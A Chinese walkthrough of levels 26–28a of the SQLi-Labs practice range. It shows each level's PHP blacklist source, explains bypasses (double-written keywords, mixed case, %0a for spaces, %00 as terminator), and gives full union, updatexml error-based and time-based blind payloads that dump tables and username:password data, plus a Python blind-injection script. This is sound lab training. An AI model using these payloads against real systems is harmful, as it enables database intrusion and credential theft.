SQL-Labs靶场“26-28”关通关教程

君衍.

  • 一、二十六关 基于GET过滤空格以及注释报错注入
    • 1、源码分析
    • 2、绕过思路
    • 3、updatexml报错注入
  • 二、二十六a关 基于GET过滤空格注释字符型注入
    • 1、源码分析
    • 2、绕过思路
    • 3、时间盲注
  • 三、二十七关 基于union及select的过滤单引号注入
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、updatexml报错注入
  • 四、二十七a关 基于union及select的过滤双引号注入
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、时间盲注
  • 五、二十八关 基于union及select单引号括号注入
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、时间盲注
  • 五、二十八a关 基于二十八关的过滤减少
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、时间盲注

点击跳转:
SQL-Labs靶场“1-5”关通关教程
SQL-Labs靶场“6-10”关通关教程
SQL-Labs靶场“11-15”关通关教程
SQL-Labs靶场“15-20”关通关教程
SQL-Labs靶场“21-25”关通关教程

一、二十六关 基于GET过滤空格以及注释报错注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

刚打开的界面:
在这里插入图片描述
我们可以看到它说所有的空格以及注释好像让过滤掉了,这里我们首先进行验证:

1、令id为1观察回显

在这里插入图片描述

2、令id为1后面加上单引号观察是否会报错

在这里插入图片描述
我们这里可以看到有报错,所以我们之后可以进行尝试使用报错注入。

3、测试使用联合查询观察过滤后的语句

在这里插入图片描述
我们这里即可看到它将注释符以及空格进行了过滤从而引发报错,下面我们当然是想办法绕过,所以我们先查看源码。

1、源码分析

include("../sql-connections/sqli-connect.php");
// take the variables 
if(isset($_GET['id']))
{$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);//fiddling with comments$id= blacklist($id);//echo "<br>";//echo $id;//echo "<br>";$hint=$id;
// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else {print_r(mysqli_error($con1));}
}else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*$id= preg_replace('/[--]/',"", $id);		//Strip out --$id= preg_replace('/[#]/',"", $id);			//Strip out #$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashesreturn $id;
}

首先先解读源码,第一步获取了变量id值,然后执行了blacklist函数进行了过滤,之后进入SQL语句中进行查询,如果可以查到,输出查询到的信息,所以这里我们使用联合查询其实也是可以的。如果没有查询到,那么输出报错信息。也就是报错注入也可以进行尝试。

这里我们也来看下具体的过滤情况:

# 过滤了or以及and的大小写
$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
# 过滤了--以及#注释符
$id= preg_replace('/[--]/',"", $id);		//Strip out --
$id= preg_replace('/[#]/',"", $id);			//Strip out #
# 过滤了空格
$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
# 过滤了斜线
$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes

在这里插入图片描述

2、绕过思路

这里过滤了以下几个字符:

1、or以及and的大小写

我们可以考虑以下几种绕过方式:

and = &&
or = ||
# 异或
xor = |
not = !

使用这几种字符进行替换掉or以及and。
第二便是使用双写进行绕过:
即为:

or=oorr
and=anandd

2、过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

3、过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、updatexml报错注入

1、爆出数据库名

payload:

?id=1'aandnd(updatexml(1,concat(0x7e,database(),0x7e),1));%00

在这里插入图片描述

2、爆出数据库中的所有表

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1));%00

在这里插入图片描述

3、爆出users表中所有列名

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema='security')anandd(table_name='users'))),0x7e),1));%00

在这里插入图片描述

4、查询数据

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(username,0x3a,passwoorrd))from(users)),0x7e),1));%00

在这里插入图片描述
观察字符限制使用limit或者substr函数进行截取即可。

二、二十六a关 基于GET过滤空格注释字符型注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=(‘$id’)

本关同26关的注入点判断基本一致,唯独这里可以发现的不同便是没有了报错,首先我们使用id为1进行测试:
在这里插入图片描述
然后在1后面加上单引号:
在这里插入图片描述
由这里我们即可判断出报错注入显然是不能使用了,同时我们在使用参数为1测试中发现是进行了查询信息的回显的,所以这里我们可以试着使用联合查询进行注入。同时,盲注我们还需知道闭合方式来进行判断是否可以绕过得到不同的界面。

1、源码分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{//print_r(mysqli_error($con1));
}

这里与26关不同的地方便是闭合方式以及注释掉了报错信息显示,所以这里我们是无法使用报错注入的。同时过滤函数同26关相同。
在这里插入图片描述

2、绕过思路

这里过滤了以下几个字符:

1、or以及and的大小写

我们可以考虑以下几种绕过方式:

and = &&
or = ||
# 异或
xor = |
not = !

使用这几种字符进行替换掉or以及and。
第二便是使用双写进行绕过:
即为:

or=oorr
and=anandd

2、过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

3、过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、时间盲注

这里我们使用时间盲注进行注入,比如说这里我们首先测试数据库名的第一个字符的ascii值是否大于100,那么我们构造payload:

?id=1')anandd(if(ascii(left(database(),1))>100,sleep(3),0));%00

在这里插入图片描述
我们可以看到回显需要3秒以上,所以我们我们可以使用盲注的方式进行注入,我们编写成python来完成我们的盲注:

import requests
import timedef inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1')aandnd(if(ascii(substr(database(),%d,1))>%d, sleep(1), 0))aandnd('1')=('1" % (i, mid)params = {"id": payload}start_time = time.time()r = requests.get(url, params=params)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli7/Less-26a/index.php'inject_database(url)

在这里插入图片描述
可以看到非常的方便,下面我们便是更改payload继续进行时间盲注。

三、二十七关 基于union及select的过滤单引号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=(‘$id’)

在这里插入图片描述
从主页面我们可以看到它说明将我们的union以及select进行了过滤,但是我们依旧是按照常规的注入思路进行注入点判断注入:

1、使用id为1进行查询,观察回显

在这里插入图片描述
这里我们可以看到回显了查询到的内容,所以我们之后可以进行尝试联合查询注入,先不说它将union以及select进行了过滤。

2、使用id为1后面加上单引号查看是否有回显

在这里插入图片描述
我们可以看到这里是进行了报错的,所以我们即使不使用union以及select进行查询也是可以尝试使用报错注入进行注入的。

1、源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{print_r(mysqli_error($con1));
}function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

这里我们可以看到和26关相似,只是过滤的内容变了,所以我们现在进行分析:

function blacklist($id)
{
# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
# 过滤了-
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
# 过滤了#
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
# 过滤了select /m严格模式不能进行双写绕过
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
# 过滤了union以及其大写
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

2、绕过思路

union以及select没有忽略大小写,所以依旧可以进行绕过:

# 大小写混写
unioN
unIon
seLect
...# 嵌套双写
uunionnion
sselectelect
ununionion
...

这里还过滤了以下几个字符:

过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、联合查询注入

我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)

?id=9999'%0aorder%0aby%0a4;%00

在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999'%0auNion%0asElect%0a1,database(),version();%00

在这里插入图片描述
这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999'uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999'uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999'uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、updatexml报错注入

1、爆出数据库名

?id=1'%0aand%0aupdatexml(1,concat(0x7e,database(),0x7e),1);%00

在这里插入图片描述

2、爆出数据库中的表

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema='security'),0x7e),1);%00

在这里插入图片描述

3、爆出数据库中可疑表users的列名

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(column_name)from%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users'),0x7e),1);%00

在这里插入图片描述

4、爆出数据

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0aconcat(username,0x3a,password)from%0ausers%0alimit%0a0,1),0x7e),1);%00

在这里插入图片描述
自此,27关注入即可完成。

四、二十七a关 基于union及select的过滤双引号注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=“$id”

本关和27关注入点判断基本一致,但是在使用1双引号传入参后,会发现没有了报错:
在这里插入图片描述
在这里插入图片描述
所以这里注入点这里没有了,我们也就不能使用报错注入,但是依旧可以看到查询到的结果是进行了回显的,所以我们之后可以进行尝试使用联合查询注入。

1、源码分析

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{//print_r(mysqli_error($con1));
}
···# 与27关一致

这里我们可以看到它将报错信息显示进行了注释,同时闭合方式采用了双引号进行闭合,剩下的过滤函数与27关一致。
在这里插入图片描述

2、绕过思路

union以及select没有忽略大小写,所以依旧可以进行绕过:

# 大小写混写
unioN
unIon
seLect
...# 嵌套双写
uunionnion
sselectelect
ununionion
...

这里还过滤了以下几个字符:

过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、联合查询注入

我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)

?id=1"%0aorder%0aby%0a3;%00
?id=1"%0aorder%0aby%0a4;%00

在这里插入图片描述
在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999"%0auNion%0asElect%0a1,database(),version();%00

在这里插入图片描述
这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999"uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999"uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999"uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、时间盲注

当然这里也可以使用时间盲注,payload如下:

?id=1"%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a"1"="1

在这里插入图片描述
判断数据库名第一个字符是否大于115:

?id=1"%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a"1"="1

在这里插入图片描述
由此可见我们也可编写python脚本即可完成注入。

五、二十八关 基于union及select单引号括号注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=(‘$id’)

本关依旧和二十七关类似,使用1以及1单引号来进行请求查看回显:
在这里插入图片描述
在这里插入图片描述
我们依旧可以看到输出了查询到的信息,但是并没有输出报错信息,所以本关和27a类似,可以使用联合查询以及盲注的方式注入。

1、源码分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{//print_r(mysqli_error($con1));
}
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

本关采用单引号括号进行闭合,同时注释了报错信息,输出了查询到的信息,同时过滤了一些字符。与27a关不同的便在于闭合方式以及过滤的内容。
在这里插入图片描述

2、绕过思路

首先我们来看本关的过滤内容:

# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
# 过滤了-以及#注释符
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
# 过滤了union select /i大小写都进行了过滤
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

所以这里我们大小写绕过是不可能的了,这里我们使用双写进行绕过union以及select的过滤。

# 嵌套双写
uunionnion
sselectelect
ununionion
...

这里还过滤了以下几个字符:

过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、联合查询注入

我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)

?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00

在这里插入图片描述
在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00

在这里插入图片描述

这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、时间盲注

当然这里也可以使用时间盲注,payload如下:

?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
判断数据库名第一个字符是否大于115:

?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
由此可见我们也可编写python脚本即可完成注入。

五、二十八a关 基于二十八关的过滤减少

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=(‘$id’)

本关只是比28关少了几个过滤,剩下全部一样,所以注入点判断依旧是一样的,使用1以及1单引号进行测试:
在这里插入图片描述
在这里插入图片描述
这里我们依旧可以看到回显查询到的信息,不回显报错信息。

1、源码分析

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}

**剩余代码与28关都一样。。。**同时将这些过滤注释掉了,所以本关就是······难评。
在这里插入图片描述

2、绕过思路

# 过滤了union select /i大小写都进行了过滤
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

所以这里我们大小写绕过是不可能的了,这里我们使用双写进行绕过union以及select的过滤。

# 嵌套双写
uunionnion
sselectelect
ununionion
...

3、联合查询注入

?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00

在这里插入图片描述
在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00

在这里插入图片描述

这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、时间盲注

当然这里也可以使用时间盲注,payload如下:

?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
判断数据库名第一个字符是否大于115:

?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
由此可见我们也可编写python脚本即可完成注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/711863.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CELL文献速递 | 了解微生物如何在社会中传播并塑造我们的健康

谷禾健康 当人还是婴儿时&#xff0c;会从父母那里得到微生物&#xff1b;和宠物玩耍或接触时&#xff0c;也会从宠物那得到微生物&#xff1b;有时候人没有直接和动物玩耍&#xff0c;只是接触动物的粪便&#xff0c;甚至其他环境的微生物&#xff0c;都会交换微生物... 这些其…

智慧治水丨计讯物联水利RTU助推小型水库出险加固工程建设与管理

日前&#xff0c;水利部印发《关于健全小型水库除险加固和运行管护机制的意见》&#xff08;以下简称《意见》&#xff09;&#xff0c;健全小型水库除险加固和运行管护常态化机制&#xff0c;提高小型水库安全管理水平。《意见》提出了“十四五”的两大管理机制&#xff0c;通…

adb下载安装及使用教程

adb下载安装及使用教程 一、ADB的介绍1.ADB是什么&#xff1f;2.内容简介3.ADB常用命令1. ADB查看设备2. ADB安装软件3. ADB卸载软件4. ADB登录设备shell5. ADB从电脑上发送文件到设备6. ADB从设备上下载文件到电脑7. ADB显示帮助信息 4.为什么要用ADB 二、ADB的下载1.Windows版…

Python中reduce函数和lambda表达式的学习

reduce函数将一个数据集合&#xff08;链表&#xff0c;元组等&#xff09;中的所有数据进行下列操作&#xff1a;用传给 reduce 中的函数 function&#xff08;有两个参数&#xff09;先对集合中的第 1、2 个元素进行操作&#xff0c;得到的结果再与第三个数据用 function 函数…

【论文精读】DINOv2

摘要 学习与特定任务无关的预训练表示已经成为自然语言处理的标准&#xff0c;这些表示不进行微调&#xff0c;即可在下游任务上明显优于特定任务模型的性能。其主要得益于使用无监督语言建模目标对大量原始文本进行预训练。 遵循NLP中的这种范式转变&#xff0c;以探索计算机视…

iSlide插件2024免费版(包含52 个PPT设计辅助功能,9 大在线资源库,以及超 50 万 专业)

一、功能介绍 iSlide是一款专为PowerPoint设计的插件&#xff0c;它集合了众多设计与效率提升的功能&#xff0c;帮助用户更快速、更美观地制作演示文稿。 主题设计&#xff1a;提供多种设计主题&#xff0c;用户只需一键应用&#xff0c;即可为幻灯片赋予统一的视觉风格。智…

每次提出一个bug都让测试重现,描述得那么清楚,自己操作下不会吗?

一说到测试和开发的关系&#xff0c;你一定会想到一个词“冤家”。 开发的工作就是按照PM的设计将产品最终造出来&#xff0c;而测试则是在开发已完成的工作里纠错。so&#xff0c;测试的工作会让开发很不爽&#xff0c;人之常情&#xff0c;谁都不喜欢自己的劳动成果被别人挑…

react路由基础

1.目录 A. 能够说出React路由的作用 B. 能够掌握react-router-dom的基本使用 C. 能够使用编程式导航跳转路由 D. 能够知道React路由的匹配模式 2.目录 A. React路由介绍 B. 路由的基本使用 C. 路由的执行过程 D. 编程式导航 E. 默认路由 F. 匹配模式 3.react路由介绍 现代…

开源项目:图像分类技术在医疗影像分析中的应用与实践

一、引言 在当今快速发展的医疗行业中&#xff0c;数字医疗正逐渐成为提升医疗服务质量和效率的关键力量。本项目旨在通过整合医药电商、远程问诊、慢病管理等多维度服务&#xff0c;为消费者和企业提供全面的医疗解决方案。项目的核心在于运用先进的图像分类技术&#xff0c;以…

回归测试:在不断变化的环境中确保软件的稳定性

软件开发是一个复杂的过程&#xff0c;需要不断变化和更新以满足客户不断变化的需求&#xff0c;但它们也可能产生新问题或导致旧问题重新出现。这就是回归测试的用武之地——它是在不断变化的环境中确保软件稳定性的重要组成部分。 在这篇文章中&#xff0c;我们将深入探讨什…

第40期 | GPTSecurity周报

GPTSecurity是一个涵盖了前沿学术研究和实践经验分享的社区&#xff0c;集成了生成预训练Transformer&#xff08;GPT&#xff09;、人工智能生成内容&#xff08;AIGC&#xff09;以及大语言模型&#xff08;LLM&#xff09;等安全领域应用的知识。在这里&#xff0c;您可以找…

基于springboot + vue实现的前后端分离-在线旅游网站系统(项目 + 论文)

项目介绍 本旅游网站系统采用的数据库是MYSQL &#xff0c;使用 JSP 技术开发&#xff0c;在设计过程中&#xff0c;充分保证了系统代码的良好可读性、实用性、易扩展性、通用性、便于后期维护、操作方便以及页面简洁等特点。 技术选型 后端: SpringBoot Mybatis 数据库 : MyS…

UE5 文字游戏(1) 仅UI截图转换为texture2d(适用于window端)

目录 需求 思路 1.截图并读取到本地 2.本地读取图片并转换为纹理2d 效果展示 找了好多的解决办法&#xff0c;都不管用。这个算是折中的。 需求 将当前的用户控件&#xff08;ui&#xff09;截图下来&#xff0c;并赋值到一个texture2d上。 我的需求&#xff1a;文字游戏…

初学JavaWeb开发总结

0 什么是Web开发 Web: 全球广域网&#xff0c;又称万维网(www World Wide Web)&#xff0c;能够通过浏览器访问的网站。 Web开发&#xff0c;就是开发网站的&#xff0c;如&#xff1a;淘宝、京东等等。 1 网站的工作流程 流程&#xff1a; 浏览器先向前端服务器请求前端资…

Cesium 自定义Primitive-线

一、创作思路 1、创建一个自定义CustomPrimitive 2、可动态更新线的点位 3、方便后期绘制线 二、实现代码 1、创建一个CustomPolylinePrimitive类,并加入更新的代码 export default class CustomPolylinePrimitive {constructor(options) {this._props options;/*** 渲染列表…

EchoServer回显服务器封装与测试

目录 类实现 编译测试 这一篇本质上是为了TcpServer而做的一层封装,让外界调用更加简洁 参考上文 TcpServer服务器管理模块(模块十)-CSDN博客 类实现 echo.hpp #include "../server.hpp"class EchoServer { private:TcpServer _server;private:void OnConnect…

vite打包构建时环境变量(env)生成可配置的js文件

现实需求 在vite开发过程中&#xff0c;一些变量可以放在.env&#xff08;基础公共部分变量&#xff09;.env.dev&#xff08;开发环境&#xff09;、.env.production&#xff08;生产环境&#xff09;中管理&#xff0c;通常分成开发和生产两个不同的配置文件管理&#xff0c…

三天学会阿里分布式事务框架Seata-应用seata AT模式方案解决分布式事务问题

锋哥原创的分布式事务框架Seata视频教程&#xff1a; 实战阿里分布式事务框架Seata视频教程&#xff08;无废话&#xff0c;通俗易懂版&#xff09;_哔哩哔哩_bilibili实战阿里分布式事务框架Seata视频教程&#xff08;无废话&#xff0c;通俗易懂版&#xff09;共计10条视频&…

dolphinscheduler海豚调度(四)钉钉告警

在之前的博文中&#xff0c;我们已经介绍了DolphinScheduler海豚调度的基本概念和工作流程&#xff0c;以及Shell任务和SQL任务的实践。今天&#xff0c;让我们来学习DolphinScheduler中的另一个重要功能&#xff1a;钉钉告警。 钉钉群添加机器人 在钉钉群添加机器人&#xf…

从http到websocket

阅读本文之前&#xff0c;你最好已经做过一些websocket的简单应用 从http到websocket HTTP101HTTP 轮询、长轮询和流化其他技术1. 服务器发送事件2. SPDY3. web实时通信 互联网简史web和httpWebsocket协议1. 简介2. 初始握手3. 计算响应健值4. 消息格式5. WebSocket关闭握手 实…